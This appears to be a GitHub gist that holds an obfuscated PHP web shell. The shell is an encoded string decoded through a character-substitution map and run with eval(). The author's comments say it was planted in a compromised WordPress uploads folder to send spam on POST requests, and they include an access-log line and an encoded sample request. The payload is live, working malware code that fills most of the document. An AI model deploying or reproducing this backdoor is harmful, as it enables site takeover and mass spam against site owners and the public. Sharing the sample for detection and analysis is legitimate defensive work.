'pmCTHGQTHbBcnePuSMOvp2ON908uBIiYVrCtaJCtaJCtaJCtaJWLVrCtaJCtaJCta'.
'JCtaJBkHVQv6bCtB0iYVrCtaJCtaJCtSFULgJCtaJCtaJCtsYBknc5cH9Rds1CUVJqknEqHF0qvsWKcFbQTHbQ4mg64sgOvmMhys'.
'85RXWB46IQklVq5ywULgJCtaJCtaJCTnkCtJyQTAIB1V+sjM6oHF'.
'YKvp2BTA1KvpnCtjFCtB0r5SwULgJCtaJCtaJCtaJCtayB46IQyMnz5aFCTFYqN92BcfWBTMnzHF0qvsWB46IQklVq5JyB46IQyM'.
'nzHpVBuYJ64sgOvmMhys85RXWBTl2BdSgBkl2q5ywULgJCtaJCtaJC4VJqNf2q5SwULgJCtaJCtaJCtaJCt'.
'ayB46IQyMnz5aFCtsYBknc5cH9Rds1iYVrCtaJCtaJCtSFULgJCtaJCtaJCTnkCtAeBTHbBdpEvdpIq'.
'cGg64pIqc9CqNlyqvCECts2ONQbKvsXBkRECtsYBknc5cH9r5yJzYVrCtaJCtaJCtaJCtaJBkHVQv6bCT6ABcRcplFnP'.
'kpeqTRg64pIqc9AQ4H1q5ywULgJCtaJCtaJC4VptuaJCtaJCtaJBkHVQv6bCtB0iYVrCtaJC'.
'4VptuaJCtSYQN6EONmJq0HbKdsIPcGJsjM6oHFCqNlyqv6Urts2ONQb5THAqTH1rLVrCt'.
'aJC4EptuaJCtaJCtaJ64pIqc9CqNlyqvCJh5SYBkH0vd6nBTfAK'.
'cRg61FBBnfbv4m381BECtBJ61YJ64pIqc9CqNlyqvCIiYVrCtaJCtaJ'.
'CtayPTnbqvmJh5Snz4SEPcsnrt6BBnfbCuYJ64pIqc9CqNlyqvCIiYVrCtaJCtaJCtSkPd6nKNpgCtJyPTnbqvmJKvmJ6T'.
'Mnz5aFhuayPTnbq5yJzYVrCtaJCtaJCtaJCtaJPTn2QtJyOTHAqTnbq1YJ64qA'.
'P4Hnr5aFCTHGBTfeqTRg62g08tayPTnbq5YJmuywULgJCtaJCtaJCtaJCtayOTHAqTnbq1aFC4pVB0sePTFdqvCg6TAnKNsIPkBI'.
'iYVrCtaJCtaJCtaJCtaJ64qAP4HnCUVJB46nqXF1qvSEKNpnrtBev4m381BECtBJ61YJ64qAP4HnroEJ'.
'81ZJLcFMB46nBdmJQvpnPTH2B1S2BTlxqvmptuaJCtaJCtaJCtaJCtsEON9nBXEyOcH9v5aFCtsgqNlyON90CtGJ6'.
'2g0CtGJQ46IP5JyQklEQNRIi1ae81SjPcG0QtSkPd60qvLJQTZJBkHMPdqnClQoRtSABkF'.
'XPkLJQTAnC4qAP4HnULgJCtaJCtaJC4VptuaJCtaJCtaJ64pIqc9CqNlyqvCJh5SIPvSEPcsnrt6BBnfbCuYJ6TfIPkH2roEpt'.
'uaJCtaJCtaJBkHVQv6bCts2ONQb5THAqTH1iYVrCtaJC4VptuaJCtSYQN6EONmJq0HbKdsIPcGJsjM6oHFtPcs9L1JyKkFyz5y'.
'ptuaJCtSwULgJCtaJCtaJCTnkCtJyKkFyz5aFh5a061yJzYVrCtaJCtaJCtaJCtaJBkH'.
'VQv6bCt6BBnfbCxEptuaJCtaJCtaJWLVrCtaJCtaJCtae81S2QTluONfIzkRJPTnbq5S'.
'nPksIPkQ2ULgJCtaJCtaJCtsuPcs9CUVJBds1vd6nBTfAKcRgCnf1vTGu8tauvTGu8tayKkFyz5ywULgJCta'.
'JCtaJCtsuPcs9CUVJBds1vd6nBTfAKcRgCnfbCuYJCnf1vTGu8tayKkFyz5ywULgJCtaJCtaJC'.
'tZeCjHistS2QTluONfIzkRJPTnbq5SnPksIPkQ2ULgJCtaJCtaJC'.
'4QgONfnCtA2QN62Q4Cg6T6eq4yEC4pVBkfnPuJyKkFyz5yJ85aV8taVr5aFh5auv46BPnf1vTGur5SwULgJCtaJCtaJCtaJC'.
'tayKkFyz5aFC4pXK0pVBuJyKkFyz5YJmtYJBds1PTHbrtsuPcs9r5aMCUCI'.
'iYVrCtaJCtaJCtSFULgJCtaJCtaJC46nQ4H1PuayKkFyzoEptuaJCtSFULgJCtaJB4HuPTnxCTqXPkpVONFbCjs85RX'.
'WLNsyrtsgqNlyqv62vcfIPkRECts2QN67qNpV8tayKkFyz5ypt'.
'uaJCtSwULgJCtaJCtaJCtsj5VnpBcn0PklVQv6nH4nYq5aFCtQ1BcjMBcAAm5BwC'.
'tZeClpIqc9AQ4H1q5akCTAABcJJKNf0Pd6IQTAMBYVrCtaJCtaJCtaysj'.
'M6oNpAPkFbONpAPTnDKvsIPcGJh5a0BkHEKvAnqtF2ONXYPTR0i1ae81SUKN9ePknxKNfIzklVONFbCTFkCTAnKNsnBuFuP'.
'cs9ULgJCtaJCtaJCtsj5VnpBvHnB0yJh5a0qT928dsGQtBwCtZeCllXqv69CTXnQTAeqaVrCtaJ'.
'CtaJCtaysjM6ovsIPNRJh5SVONXnrtywCtZeClpIqc9AQ4H1q5SRONXnBdsAPva'.
'Jh5S2qNpePks2C4pIPkpnCUaYixaYixaYCtVJ5klbCUjECUj9p2aJrlHRL'.
'1SVONXnC4IePkRIULgJCtaJCtaJCts2QN67qNpVvcAnKNsnBuaFCt6oQN67qNpViuayBdHuOkHxQtCwULgJC'.
'taJCtaJCtsgqNlyqv62CUVJqvAYPTFyq5JyQTAIB1V+ojRECtsgqNlyqv62vcfIPkRIiYVrCtaJCt'.
'aJCtayq06ePHFgqNlyqvCJh5a062EptuaJCtaJCtaJ64sevcAnKN'.
'snBuaFCtB0iYVrCtaJCtaJCtayKdH1BkHbQtaFCtB0iYVrCtaJCtaJCtS'.
'kPd6nKNpgCtJyOTHAqTH1B1SAB1ayOTHAqTH1r5SwULgJCtaJCtaJCtaJCtSIquagBds1BTF2rtsgqNl'.
'yqvCECtQTBkFMiuBICUVFh5aYr5SwULgJCtaJCtaJCtaJCtaJCtaJ6Tq1'.
'PcXWOTHAqTH1CUVJ6TAnKNsnBxEptuaJCtaJCtaJCtaJCtaJCtayKdH1BkHbQtaFCtQkBkFMvcAnK'.
'NsnBuBwULgJCtaJCtaJCtaJCtSFCTHEBcHIquagBds1BTF2rtsgqNlyqvCECtQRP2g0r5aFhoVJ'.
'mtyJzYVrCtaJCtaJCtaJCtaJCtaJCtsVPXFgqNlyqvCJh5ayOT'.
'HAqTH1iYVrCtaJCtaJCtaJCtaJCtaJCtsxQv61qN9VCUVJ6dsevcAnKNsnBuBwULgJCtaJCtaJCtaJCtSFC'.
'THEBcRJzYVrCtaJCtaJCtaJCtaJCtaJCTnkCtJyKdH1BkHbQtak6uS2Q46YPdmg'.
'6TAnKNsnBuYJ61aFh1BICUVFh5aYr5SwULgJCtaJCtaJCtaJCtaJCtaJCtaJCtsxQv61qN9'.
'VCtGFCtsgqNlyqvCwULgJCtaJCtaJCtaJCtaJCtaJW5SnP4pnC'.
'4EptuaJCtaJCtaJCtaJCtaJCtaJCtaJ6TpXB06nP0LJh5a062EptuaJCtaJCtaJCtaJCtaJCtSFULgJC'.
'taJCtaJCtaJCtSFULgJCtaJCtaJC4VptuaJCtaJCtaJ6Tq1PcVJh5S2Q46WBkHYPTlxq5J0WtBECtBFpVm08tayQT'.
'AIB1V+sjM6oHFsRtJyq06ePHFgqNlyqvCIroEptuaJCtaJCtaJ64seCUVJBds1vd6nBTfAKcRg6dY08ta0hoQU61YJ64sgOvmMhy'.
's85RXWRHag64sevcAnKNsnBuyIiYVrCtaJCtaJCtayBdHuOkHxQtaFC4pVBnF1q'.
'vSEKNpnraVrCtaJCtaJCtaJCtaJ6dY08aVrCtaJCtaJCtaJCtaJ62VdL1BEULgJCtaJC'.
'taJCtaJCtayQTAIB1V+sjM6oHFsRtJyBdHuOkHxQlFgqNlyqvCIULgJCtaJCtaJCtywCtZe'.
'CjpeBTnnqtSgqNlyqvCJqknnPTs2CtAyOcnM8vlXPdsnqtXYBknbQTluPTRIULgJCtaJCtaJCtsuPcs9CUVJ6'.
'4sgOvmMhys85RXWLkFyzRmg6T6eq4yIiYVrCtaJCtaJCtaysjM6oNfnPuaFC4pVBkfnPuJyKkFyz5y'.
'wCtZeCjfnPkQVOtSequSuPcs9ULgJCtaJCtaJCtsj5VnpKxKVCUVJKk'.
'l2qoKVvcHbKcFyq5AYKNp3rtQCruBEC4pgKojg6T6eq4yIr5ywCtZeCj6ABcRcptSequSYKNp3qNLJKknbKv69ClpCL'.
'5VfCTAABcJJPcKJKkFyzLVrCtaJCtaJCtayONsnP0LJh5ag64sgOvmMhys85RXWONsnP0sIQ4yJhoVJ61BICUZJ61BJiua0CTy'.
'F61abCtsVOTn28o9j5VnpvcnyqN9VOvs9CtGJ62E0iYVrCtaJCtaJCtayqTMIPNAyB0mJh5a0sjM6o5XoONQbKvs'.
'XBkRDC4KFmoEJKoV0CtGptuaJCtaJCtaJCtaJCtsj5VnpBcn0PklVQ'.
'v6nH4nYq5abCtBwC4jF61abULgJCtaJCtaJCtaJCtaysjM6ovlXqv69CtGJ62EJPUV0C'.
'tGptuaJCtaJCtaJCtaJCtsj5VnpPTHbCtGJ62EJB2V0CtGptuaJCtaJCtaJCtaJCtsVOTn28o9j5VnpvdpnPTHxQTF1CtGpt'.
'uaJCtaJCtaJCtaJCtCwv46BPuCJ8JVrCtaJCtaJCtaJCtaJCnfVQUVuCtGJ6js85RXVONXnCtGJ62EJK2'.
'V0CtGJ6js85RXxKN9ePknxKNfIzklVONFbCtGJCxMBBnfbCuabULgJCtaJCtaJCtaJCtauv4sghRq1PcVD'.
'HTZDRdHuOkHxQUMBBnfbCuabULgJCtaJCtaJCtaJCtauv4syh5CJ8uayQTAIB1V+sjM6oHFy'.
'PcXAONGJ8ua0i1BJ8uayONsnP0LJ8uauv46BPuCJ8JVrCtaJCtaJCtaJCtaJCnfVzxVyq06ePHf1vTGuCtGptuaJCt'.
'aJCtaJCtaJCt6BQ4YyQTFBBnfbCuabULgJCtaJCtaJCtaJCtauv4sZ64'.
'pXKkInKdLwv46BPuCJ8JVrCtaJCtaJCtaJCtaJCnfVKkJFCuabCtsj5VnpKx'.
'KVCtGJCxMBBnfbCuabULgJCtaJCtaJCtaJCtauv4suh5CwULgJCtaJCtaJCtsVP'.
'XpIqcGJh5ayQTAIB1V+sjM6oHFCqNlyqv6UraVrCtaJCtaJCtaJCtaJ6Tq1PcXWOTHAqTH1CtGJCnf1'.
'vTGuCtGJ64sevcAnKNsnBuabCt6BBnfbCuabCts2QN67qNpVvcAnK'.
'NsnBuabCt6BBnfbCuabCtsyOcnMOTs1BYVrCtaJCtaJCtaIiYVrCtaJCtaJCtayBcn0PkHyCUVJ64sgOvmMhys85R'.
'XWRcn0PuJyQTFoONQbroEptuaJCtaJCtaJBkHVQv6bCtsyOcnMOTs1B1abCts2ONQbqNLJ8uauv46BPuCwULgJCt'.
'aJWLVrCtaJC4SXKkfIK1SkQN9xQTnePuS0qvsRPVlyq46nBdpnB1JIULgJC'.
'taJzYVrCtaJCtaJCtS1qvsXBkGJ64sgOvmMh0seiYVrCtaJC4VptJVrCtaJC4SXKkfIK1SkQN9xQTnePuS0qvsUKVlyq'.
'46nBdpnB1JIULgJCtaJzYVrCtaJCtaJCtS1qvsXBkGJ64sgOvmMhkpxiYVrCta'.
'JC4VptJVrCtaJC4SXKkfIK1SkQN9xQTnePuS0qvstKcpSqTs1qvp2qvmgrLVrCtaJC4EptuaJCtaJCtaJBkHVQv6bCtsVOTn28o9'.
'uKcmwULgJCtaJWLVrULgJCtaJB4HuPTnxCTqXPkpVONFbCTQnQl6nBTf9HTFSqTs1qvp2qvmgrLVrCtaJC4EptuaJCtaJCtaJBk'.
'HVQv6bCtsVOTn28o95qvSEzHseiYVrCtaJC4VptJVrCtaJC4SXKkfIK1SkQN9xQTnePuS0qvs'.
'SPTf5qNpIBTnnP0sSqTs1qvp2qvmgrLVrCtaJC4EptuaJCtaJCtaJBkHVQv6bCtsVOTn28o9APTfWBkHxOvSIqN9VB2EptuaJCtS'.
'FULgptuaJCtSYBkFVqNpVqNLJq0HbKdsIPcGJqTFUKNfEKklxO1JyOvpoqN9'.
'V8tayQTZECtsxK1YJ6T6xK1YJ64pXKkInKdLECtsuPcs98tayq06eP5yptuaJCtSwULgJCtaJCtaJCTnkCtJAqNXYQ4'.
'yg64sgOvmMhklxQTnePnFkQN9xQTnePuyJ6uKJOvpWKclEPTluPTR'.
'g64sgOvmMhklxQTnePnFkQN9xQTnePuyIC4EptuaJCtaJCtaJCtaJCtsYKv6APvmJh5SAB06Az5JyOvpoqN9V8tayQ'.
'TZECtsxK1YJ6T6xK1YJ64pXKkInKdLECtsuPcs98tayq06eP5ywULgJCtaJCtaJCtaJ'.
'CtSxKNfEvdH2qv6Wq0HbKXFAB06Az5JyQTAIB1V+KNpVONFbvcqXPk'.
'pVONFb8tayBTl1KNX2roEptuaJCtaJCtaJWLVrCtaJC4Vpt0VptkpEKvp2C4SgBTXAONfnByHGKcHYQTnePuSnz4sn'.
'Pks2CjHGKcHYQTnePJVrzYVrCtaJC4SXKkfIK1SkQN9xQTnePuSnB06eByXnBdpAqcRgrLVrCtaJC4E'.
'ptuaJCtaJCtaJ6TH1BkF1ovp0CUVJ62f2Q46ePkB+61abCtsVOTn28o90qvspqvp2KNQnrtyJ8'.
'uauhtF2Q46ePkB+hT61CtZ+vTGuiYVrCtaJCtaJCtS1qvsXBkGJ6TH1BkF1ovp0iY'.
'VrCtaJC4Vpt0VptJVr81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze81Ze8'.
'1Ze81Ze81ZptkqXPkpVONFbC4pnPksoPvsYoNlIPtJyq06ePHFn'.
'PNlIPtYJ6Tq1PcXWPklMq5YJ64se8tayBdHuOkHxQtYJ6T6eq4yECt'.
'sVzvSnrLVrzYVrt5sMKNnECUVJPkHdClSCRjXAONfnBuJIiYVrt5sMKNnE8o9IBVXAO'.
'NYgroEptuaJCtayPNlIPtV+LcAABnpnQtaFCtQXQTKMitBwULg66TXAONYMhnpnQjq1PcVg6Tq1PcXWqNXAONYECtskBkFMvc9'.
'APNRIiYVrt5sMKNnE8o9SqTsSqTs1qvp2rtsVP1ywULg66TXAONYMhnpXKkInK'.
'dLJh5ayBdHuOkHxQUEptJyptJnIquag64s9BTRJhoVJCxjurLVrtvEptJy66TXAONYMhyX2qVAR'.
'oRYg6T6eq4yIiYVrtvVptJnnP4pnONKJrtsVzvSnCUVFCtC1CuyptJnw'.
'ULg6t5sMKNnE8o9IBVARoRYgqklEBcRIiYVrtLyyPNlIPtV+LkFyz5aFCtsuPcs9iYVrtvVptJVrtN'.
'nkCtAIBdpnQtJyvVq6ojHor5yptJnwULg6tNqeBkHAKcJg6lFT5RflR1SAB1ayOcH9CUV+Ct'.
'skONfnrLVrtLnwULg6tLy66TXAONYMhklyqjlVQTlxOTXnP0Lg'.
'6TqIPTHP6dsMBlFbKNXn6XVECtskONfnN1QbKNXn6XVIiYVrtLnFU'.
'Lg6WLVrULg6ONKJrtjyPNlIPtV+BcHbqtJIrLVrtvEptJy664sevcsePNlIPuaFCTHGBTfeqTRg'.
'Cyau8tayQTZIiYVrtLyyQTFWqTFMKNnbCUVJ64sevcsePNlIPnEfvoEptJy66TXAONYMhyn2RVXRRtJIiYVrtLy'.
'yPNlIPtV+5TF2QtaJCtaJCtaFCTXGvcfePcMXBtJyQTFWqTFMKNnbroEptJy6'.
'6TXAONYMhnSeB0LJCtaJCtaJh5a1poEptJy66TXAONYMhnppHlSSQvsgCtaJh5SkKNf2qo'.
'EptJy6ONKJrtjyPNlIPtV+BcHbqtJIrLVrtLnwULg6tLn1qvsXBkGJLv61KvygmtYJ6TXAONYMhyH1BkF15N9kP1yw'.
'ULg6tvVptJy6qNf2qLVrtLnwULg6tLn1qvsXBkGJLv61KvygmuYJmtywULg6tvVptJnFULg6qNf2qLVrt'.
'vEptJy6BkHVQv6bCjl1Bkl9rUjECUaIiYVrtvVpt0VptJVrq0Hb'.
'KdsIPcGJPvAWPTFeOdHYrtsgPdpVPklMq5ypt0EptuaJCtSaqcHVPvA1BuJyOTF2QT9APNRECtsMzTAeBds28tayB46nKcH'.
'yqN9xq5ywULgJCtaJONKgKcFXP0Lg6TXGOTF2Q4mICUVFh5aYr5S1qvsXBkGJ62j1p1GY8xabm5BwULgJCtaJ64SeBcnVONF'.
'bCUVJKv61KvnWOcH9B1JyB46nKcHyqN9xq5YJPNnbrtsYBkHxqNsnPkpnr5ywULgJCtaJBkHVQv6bCtsMzTAeBds2N1sYPdpI'.
'QTnePnEYvHVwULIFULIkQN9xQTnePuSMzNAnzU6uONGgCts2Q4CJr5SwULgJCtaJ64puONGJh5au'.
'CxEptuaJCtayPTHbCUVJBds1PTHbrtayBds1CtywULgJCtaJqkF1CtJJ6TyJh5aYi1ayO5a'.
'ZCtsEqNGwCtsICtEFCUCJr5SwULgJCtaJCtaJCts2KknbCtGFC'.
'4SAKcEgCt6CruCEC4pXK0pVBuJJ64pVBuYJ6TyECUCJr5aIiYVrCtaJC4VptuaJCtS1qvsXBkGJ64puONG'.
'wULIFULgptkqXPkpVONFbCTCcpTLg6TnbB4HVr5SwULgJCtaJ6TMnzHpVBuaFCt6SLypjsRq45jnr5VfpoyFLRH6oHlHNHX'.
'AqNkluKcsnqkQgONI3PTXbPdSfB0pVQvqdz4nDmUj1m2LXpxBGi5Eeh5'.
'CwULgJCtaJ6TpgBxjJh5ayKcA1muaFCtsxO4C2CUVJCuCwULgJCtaJ6THbK2jJh5ayqN9xmuaFCtsnPkm2CUVJ6THbK2LJh5auCx'.
'EptuaJCtayO5aFCUawULgJCtaJ6TFXQ4SXQtaFCtCuiYVrULgJCtaJ6TnbB4HVCUVJB46nqXF1qv'.
'SEKNpnrt6+NX9S8HIA8vgY8onBrXYevUXQWuCECtCu8tayON9YQvLIiYVrCtaJCTseC4EptuaJCtaJCtaJ6THbK2jJh5S2Q46Y'.
'Pdmg6TMnzHpVBuYJBdHuBds1rtsIP0SXQtYJ6Ty3r1YJm5yIiYVrCtaJCtaJCtayqN9xmuaFC4pVB0SeB1JyOcH9Rds'.
'18tS2QN62Q4Cg6TnbB4HV8tayO5E38tafr5ywULgJCtaJCtaJCtsnPkm2CUVJBds1BTF2rts3qvnoQ4CEC4pXK0pVBuJyO'.
'N9YQvLECtsIr1EECUjIroEptuaJCtaJCtaJ6THbK2LJh5S2Q46YPdmg6TMnzHpVBuYJBdHuB'.
'ds1rtsIP0SXQtYJ6Ty3r1YJm5yIiYVrCtaJCtaJCtayKcA1m5aFCt'.
'JyqN9xm5aZhta1r5SZCtJyqN9xmua+huaVroEptuaJCtaJCtaJ6TpgBxCJh5a'.
'grtsnPkm1CtKJmoRICUYZCULIC4YJrtsnPkm2CUG+CUCIiYVrCtaJCtaJCtayKcA1m1aFC'.
'tJg6THbK2mJ6ua2r5aZhtacr5SZCtsnPkmViYVrCtaJCtaJCtayPdHVB4HVCUVJ6TFX'.
'Q4SXQtabCTpgBuJgON9Vr5ayKcA1m5ywULgJCtaJCtaJCTnkCtJyqN9xm1aAh5'.
'acptyJzYVrCtaJCtaJCtaJCtaJ6TFXQ4SXQtaFCtseQvsYQvLJ8uSxO4CgrTnbQtyJ6TpgBxCIiYVrC'.
'taJCtaJCtSFULgJCtaJCtaJCTnkCtJyqN9xptaAh5acptyJzYVrCtaJCtaJCtaJCtaJ6TFXQ4SXQtaFCtseQvsYQvLJ'.
'8uSxO4CgrTnbQtyJ6TpgBxmIiYVrCtaJCtaJCtSFULgJCtaJCtaJCtsxO4CfCUVJ6TpgBx'.
'CJh5ayKcA1m1aFCtCuiYVrCtaJCtaJCtayqN9xm5aFCtsnPkm1CUVJ6THbK2mJh5ayqN9xp'.
'taFCtCuiYVrCtaJC4VJQcAIPTRJrtsICUYJBds1PTHbrtsIP0SXQtyIiYVr'.
'CtaJC46nQ4H1PuayPdHVB4HViYVrWLVrULIkQN9xQTnePuSyqNpeq'.
'TRg6TsAQTjECts3qvyIULIwULg66TFXQlFyKvsACUVJCuCwULg6qkF1CtJyOoVYi1ayOof2Q46EqNGg6TsAQTjIi1ypt'.
'JnwULg6tNqeBuag6TgFmUEJ6TgZBds1PTHbrts3qvyICtKkCtsIh4pVBkfnPuJyqTlVK5ywCts7r1EE'.
'CtsIr1EIULg6tvEptJy6t5seQvsWqTlVK5abh5SxO4CgPd6yrtsyKvsAN1sIv5yJvuSeBkLg6TM'.
'nzHEyOnVIroEptJy6WLVrtvVptJn1qvsXBkGJ6TFXQlFyKvsAiYVrWLVrq0HbKdsIPcGJQ4nYqolWBc'.
'HbqtJyKcFbqkn0rLVrzYVrCtaJCts3qvyJh5ayvXplRnqlRnE05lsRRlFCoXpR6X'.
'VJ8uayvXplRnqlRnE0RyHsHRHoHlFHRyy0voEptJVrCtaJCtsyKvsACUVJKxKVqtJyKcFbqkn0roEptuaJCtayqTl'.
'VK5aFCTsnKcFyq5JyqTlVK5YJ6TMnz5ywULg66TsAQTjJh5SaQN92qv6IKNfIzkRg'.
'6TsAQTjIiYVrCtaJCTnkCtJA6TsAQTjJW4YJCNn2BcHVrtsyKvsAN1QAO1QQr5yptuaJCtSwULgJCtaJCtaJ'.
'C46nQ4H1PuSTLRfosoEptuaJCtSFULg6ONKJrtsyKvsAN1QAO1QQCtjFCt6uioycmkL9p5XnqxRd8osxiURMKoydm1XyK'.
'2SxpcR1pxAyKoKurLVrtvEptJy6qvAIQtJIiYVrtvVptuaJCtSIquagOvp2qvLg6TsAQTlP6cm0'.
'v5yIULgJCtaJzYVrCtaJCtaJCtayBkH2N161CnXPCkmuv5aFCtsyKvsAN1Qx6XVwULgJCtaJCtaJC46nQ4H1PuS2qv6IKNfIzkRg'.
'646nB1ywULgJCtaJWLVrt5s0PcFyCUVJmUEptJyyKklyCUVJmUEptJyyPTl2QlFnB06eBuaFCjl1Bkl9rUaECU'.
'aIiYVrtNqeBkHAKcJJrtsyKvsAN1Qn6XVJKvmJ64HIqUV+6THMKNnErLVrtvEptJy664sgqNXnCUVJ6TsAQTlP6dm0'.
'vHMAB06AzHF1KN9yrtsyKvsAN1Q26XVIvoEptJy664sgqNXnCUVJKNfVqv6WPNlxBkF2rtsVOTHMq'.
'5ywULg6t5sVOTHMq5aFCT9XPHFMKNp1Pdmg64sgqNXnroEptJy664sgqNXnCUVJzT9XPHFMKNp1Pdmg64sgqNXnroEpt'.
'Jy66TXnBdpAqcRJh5ayqTlVKHE0PtQQiYVrtLyyPNH2Bcl0q5aFCTlEQTH1vcXAKd6eB1'.
'JyPNH2Bcl0q5ywULg6t5sMqvp2KNQnCUVJP0HMvcXAKd6eB1JyPNH2Bcl0q5ywULg6t5sMqvp2KNQnCUVJzT9XPHFMKNp1Pd'.
'mg6TXnBdpAqcRIiYVrtLyyPNH2Bcl0q5aFCTqVqNnEvcXAKd6eB1JyPNH2Bcl0q5YJ64HIqtywULg6t5skBkFMCUVJ6'.
'TsAQTlP6cK0vHMAB06AzHF1KN9yrtsyKvsAN1Qk6XVIvoEptJy66Tq1PcVJh5SAP4snBnFMK'.
'Np1Pdmg6Tq1PcVIiYVrtLyyq06eP5aFCT9XPHFMKNp1Pdmg6Tq1PcVIiYVrtLyyq06eP5aFC4AbQN'.
'XWPNlxBkF2rtskBkFMroEptJy6ULg6tNnkCtA2Q462Q4Cg6Tq1PcVECt6PLXHoHjFpv5CICUVFCjqSolp'.
'lrLVrtLnwULg6tLyyq06eP5aFCTq1PcXWOTF2QtJyq06eP5ywULg6tvVp'.
'tJy6qNf2qLVrtLnwULg6tLyyq06eP5aFC4pVBnF1qvSEKNpnrt6PLXHoHjFpv5CECtCu8tayq06'.
'eP5ywULg6tvVptJy6ULg6t5skBkFMvcHMKNnECUVJqvAYPTFyq5JuhtCECtskBkFMroEptJy66Tq1PcXW'.
'qNXAONYJh5Snz4SEPcsnrtC+CuYJ6Tq1PcXWqNXAONfPmHVIiYVrtLyyq06ePHFbKNXnCUVJqvAYPTFyq5JuvtCu8tayq0'.
'6eP5ywULg6t5sEKvpVvcH1BkF1CUVJBcHbqlpMQ4SpKNnErtskBkFMvcH'.
'MKNnEN2SQ8tayq06ePHFbKNXnN2lQ8tayqNXAONYECtsVOTHMq5YJ6TXnBdpAqcRECtsyK'.
'vsAN1QEQtQQroEptJy6ULg6tNnkCtJyPTl2QlFnB06eBnEfv5a'.
'FhoVJmtyptJy6zYVrtLy66TQePcL3r2EptJy6WLVrtLnnP4pnULg6tvEptJy6t5suKNL3r2'.
'EptJy6t5s0PcFyCUVJKcFXP0Lg6TsAQTlP6cR0v5yJ85ayKklyiYVrtLnFULg6WLVrtLVrt5s1qvpPC0CuvHEuQt6QCUVJ6TfA'.
'BdsWqv61Pd6PmlVwULg6646nBXEuBu6QN16nCnVJh5ayPTl2QlFnB06eBnEfv5aFhoVJ'.
'sylmRVRJh1aYCUgJ6TfABdsWqv61Pd6PmHVwULg6646nBXEuBu6QN160CnVJh5ayqcFeqUEptJyyBkH2N161CnXPCkCuv5aFCts'.
'uKNLwULgptJn1qvsXBkGJBcH1ONlEOvInrts1qvmIiYVrWLVrULgyKcFbqkn0CUVJKv61KvnWQk'.
'lEQNH2rtsWRjFoHtywULgyBkH2CUVJQ4nYqolWBcHbqtJyKcFbqkn0N2SQroEptknkCtJyBkH2r5SwULgJCtaJq'.
'NpgP1ayBkH2iYVrWLVrULInzTnVrtyw';
$fersgy = Array('1'=>'y', '0'=>'n', '3'=>'r', '2'=>'z', '5'=>'S', '4'=>'H', '7'=>'q', '6'=>'J', '9'=>'5', '8'=>'L', 'A'=>'h', 'C'=>'I', 'B'=>'c', 'E'=>'s', 'D'=>'6', 'G'=>'4', 'F'=>'9', 'I'=>'p', 'H'=>'V', 'K'=>'Y', 'J'=>'g', 'M'=>'t', 'L'=>'Q', 'O'=>'a', 'N'=>'W', 'Q'=>'d', 'P'=>'b', 'S'=>'B', 'R'=>'U', 'U'=>'D', 'T'=>'G', 'W'=>'f', 'V'=>'0', 'Y'=>'w', 'X'=>'1', 'Z'=>'8', 'a'=>'A', 'c'=>'2', 'b'=>'u', 'e'=>'v', 'd'=>'3', 'g'=>'o', 'f'=>'x', 'i'=>'O', 'h'=>'P', 'k'=>'m', 'j'=>'E', 'm'=>'M', 'l'=>'F', 'o'=>'T', 'n'=>'l', 'q'=>'Z', 'p'=>'N', 's'=>'R', 'r'=>'K', 'u'=>'i', 't'=>'C', 'w'=>'7', 'v'=>'X', 'y'=>'k', 'x'=>'j', 'z'=>'e');
eval/*jmbptchkh*/(wnyflacnaf($vogjyrrea, $fersgy));?>
@rk295
Copy link
Author

rk295 commented Jun 30, 2016

This was a script uploaded to a compromised Wordpress blog which when POST'ed to would send a large amount of spam. Appeared in my web server access logs like this:

50.62.208.51 - - [30/Jun/2016:06:26:16 +0000]  "POST /wp-content/uploads/2015/start98.php HTTP/1.0" 200 69 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"

@rk295
Copy link
Author

rk295 commented Jun 30, 2016

Request

> POST /sources/functions64.php HTTP/1.0
> Host: example.com
> Content-Length: 4164
> Content-Type: application/x-www-form-urlencoded
> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0
> UCBrowser/9.3.1.344
>
> azdufax=B1tbUxcKFFpfQxdMXhgUUF8UDhgVU1FXS1oBERAAUFgeFRs2XjUAbRIsNA0NDz4pMXBAXz
> 0NJSgqOyRKQUc%2FWCYHI0NLF15dZgUoDV0SV1tbQ1YXCwJDGhwdFQYLBxlfEBwjDQgHARwYV0FeHR
> tEWh5TX08USREYFT42A10gIVtIOF02BDUAJ0E1VF0Me04jP0RFV0odLkgeIFZSHFRCAQ4MEgkRDQoC
> UCweQwoMDVwNChQMWBwURl8VRFMCLypKARcoMRkwPz9PL1MUGUBNBzdJWwkcVQQNE0IgACVDVhpWSB
> lRRwwdGxYSTxcObhkCWQNPDgYBW08BX1EcSU1DGQsHR2xbPykzIyICJB1FDWtFMRYDIwAKDhgIUww1
> T1lRCghRVhNHI18lQ1YaVktHSEcTRhIBNQYRBBVJDxYdEgEIHQsXGFpLBEpLFVtZWVZbRFYPDCofL0
> xqAVhMJDxtEwgOMyARNzUCQxcaO0hEEjVVHVtMXCsEKk1VAAwGH0pKABQLAgcJChxbVFEyCQgYRw9B
> TRoGDV0SV1pVQ1YxFQESPzgWBzsgHk0sMA8gBw8lOwNAXAhIASRbJRojSksTUlcpAi1HQl1ZXR1PSU
> IJFQIEDRdFS1JSbxsAAR8CDB8BBRoDQU8aVV1BDBZIOlkTWwUoEyE7YDsANwIXQ0FHN1JkFCYJVFhQ
> WyQJN1BeFhVCV09QAgEdbwQBBw0ADB0AFkIaTR8FUl0SV11ZQwxZAi0cCA01WlQffS0jHhcbUCILNA
> Y2J1FHGjUbNUVdGntbPR0zUltWXE5%2BRG1SUwNcU1xTTgpGHhMOEAELHW4aDkYaBAEFDkMcB1tPAV
> 9RHElNQwsTVzhpMEIYAkwlLAVFQWQaGAFNBBEeMBo4Wk1dCCZTXRwIUVYcSCNfJUNWGlZLQUhHBkAH
> GxocAAQdSx9DXFA0BQYYFhhXQV4dG0RaHlNYTxRJVjQRIFhMaxckHwMpGB83Gw8LSwAYMxdWIDkwNC
> QdVRcPIVNWHDxJXEoEfBMAK1JdEldbXkMMCRcEHBo6HXEQAkcBA28fAAUGA1cXE0deXElbR0hBUQRl
> HiNcNwJeKi9OflZKEyAkHzgXDVsaGAFDWRs6WE4XJkkcTFlnFlwuS1cKTkBTXw0VHRQBCgABTBQUAA
